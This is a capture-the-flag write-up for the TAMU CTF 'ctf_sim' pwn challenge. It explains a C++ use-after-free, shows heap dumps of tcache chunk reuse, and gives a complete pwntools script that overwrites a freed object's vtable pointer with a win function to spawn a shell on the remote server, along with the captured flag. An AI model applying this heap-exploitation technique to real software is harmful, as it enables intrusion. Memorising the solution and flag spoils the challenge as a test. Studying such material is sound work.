# [TAMU ctf] ctf_sim

This is the output of checksec over the ELF of this challenge.

```
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

This is a c++ challenges. There are a use after free bug in this challenge.

This program is a CTF simulator, you can download challenges, solve a challenge and submit writeup for the challenges. The challenges are all struct that contain a function. Here an example of one challenge struct:

```
struct pwn : challenges {
void solve() override {
cout << "You solved a pwn challenge by keysmashing and being lucky!" << endl;
}
};
```

When we download a challenge the prigram ask us where to save it

```
challenges* downloaded [4];
void downloadChallenge() {
int choice;
int index;
while (true) {
cout << "DOWNLOAD A CHALLENGE" << endl;
cout << "Choose a category" << endl;
...
cout << "3. Pwn" << endl;
...
cout << "> ";
cin >> choice;
cout << "Choose an index to save your challenge to (0-3)" << endl;
cout << "> ";
cin >> index;
if ((choice >= 1 && choice <=5) && (index >= 0 && index <= 3)) {
break;
}
else {
cout << "Invalid category or index" << endl;
}
}
if (choice == 1) ...
else if (choice == 3) {
downloaded[index] = new pwn;
}
...
}
```

When we choose to dwnload a challenge a new struct is allocated and then its pointer is stored inside the array challenges* downloaded at the index that we choose.

```
void solveChallenge() {
int index;
while (true) {
cout << "SOLVE A CHALLENGE" << endl;
cout << "Choose one of your downloaded challenges (0-3)" << endl;
cout << "> ";
cin >> index;
if (index >= 0 && index <= 3) {
break;
}
}
downloaded[index] -> solve();
delete downloaded[index];
}
```

But when we solve a challenge we execute the function solve of the struct than we free the allocate area of the struct, but the pointer remain into the downloaded[index] array.

In this case this allow us to reuse the same chunk by requesting a chunk of the same size and by how the malloc work it will return the same chunk of the struct allocated before. This because since the chunk is of size 0x20 it remain into the fastbins of the heap and when we request a chunk of the same size it will return the same chunk insted to allocate another.

In the binary is present also a win function that will spawn a shell for us.

```
void win() {
system("/bin/sh");
}
void* win_addr = (void*) &win;
```

We can force the binary to call this function by submitting a writeup of size 0x20 after we download and solve a challenge, and as text of the writeup we need to insert a fake structure this because in the downloaded[index] there is the pointer to the chunk of this writeup and if we place a pointer to the win function in the first 8 byte of the writeup when the program will call `downloaded[index] -> solve();`

it will execute the function that is pointed by the pointer in the first 8 byte of the chunk.

```
0x4176c0 0x0000000000000000 0x0000000000000021 ........!.......
0x4176d0 0x0000000000403d08 0x0000000000000000 .=@.............
0x4176e0 0x0000000000000000 0x000000000000e921 ........!....... <-- Top chunk
```

This is the chunk and we can see he pointer to solve function 0x0000000000403d08, after we solve this challenge the heap will be arranged like this

```
0x4176c0 0x0000000000000000 0x0000000000000021 ........!.......
0x4176d0 0x0000000000000417 0xfe9219cb7d3538b5 .........85}.... <-- tcachebins[0x20][0/1]
0x4176e0 0x0000000000000000 0x000000000000e921 ........!....... <-- Top chunk
```

and when we want to submit a writeup the heap will be like this

```
SUBMIT A WRITEUP
How long is your writeup?
> 24
Enter your writeup
> AAAAAAAA
0x4176c0 0x0000000000000000 0x0000000000000021 ........!.......
0x4176d0 0x4141414141414141 0x000000000000000a AAAAAAAA........
0x4176e0 0x0000000000000000 0x000000000000e921 ........!.......
```

so if we insert the win function pointer in the first 8 bytes of a writeup of size 0x20 when we solve again the challenge will execute the win function this because the pointer to this chunk in the `challenges* downloaded [4];`

array was never nulled.

This if the final solve script.

```
from pwn import *
from pprint import pprint
context.binary = elf = ELF('./ctf_sim')
p = remote("tamuctf.com", 443, ssl=True, sni="ctf-sim")
#p = elf.process()
#gdb.attach(p)
def download():
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', b'0')
def solve():
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'0')
def writeup():
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', b'24')
chunk_fake = p64(elf.sym.win_addr)+p64(0)
p.sendlineafter(b'> ', chunk_fake)
download()
solve()
writeup()
solve()
p.interactive()
```

and this is the output

```
eurus@node-01-00:~/Scaricati/ctf_sim$ python3 solver-template.py
[*] '/home/eurus/Scaricati/ctf_sim/ctf_sim'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to tamuctf.com on port 443: Done
[*] Switching to interactive mode
$ ls
ctf_sim
docker_entrypoint.sh
flag.txt
$ cat flag.txt
gigem{h34pl355_1n_53477l3}$
```